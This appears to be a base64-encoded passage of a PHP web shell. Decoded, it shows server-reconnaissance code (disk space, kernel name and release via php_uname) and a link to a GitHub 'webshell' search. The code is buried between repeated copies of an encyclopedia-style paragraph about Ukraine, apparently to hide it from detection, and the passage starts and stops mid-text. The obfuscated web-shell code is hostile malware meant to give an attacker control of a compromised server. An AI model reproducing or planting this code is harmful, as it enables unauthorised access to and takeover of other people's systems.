Wwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwo8L2Zvcm0+Cjw/cGhwCgkkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCSRtaWxsaW5rPSdodHRwczovL2dpdGh1Yi5jb20vSEFSRExJTlVYL3dlYnNoZWxsL3NlYXJjaD91dGY4PRMmcT0nOwoJaWYoIHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UgKQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3Q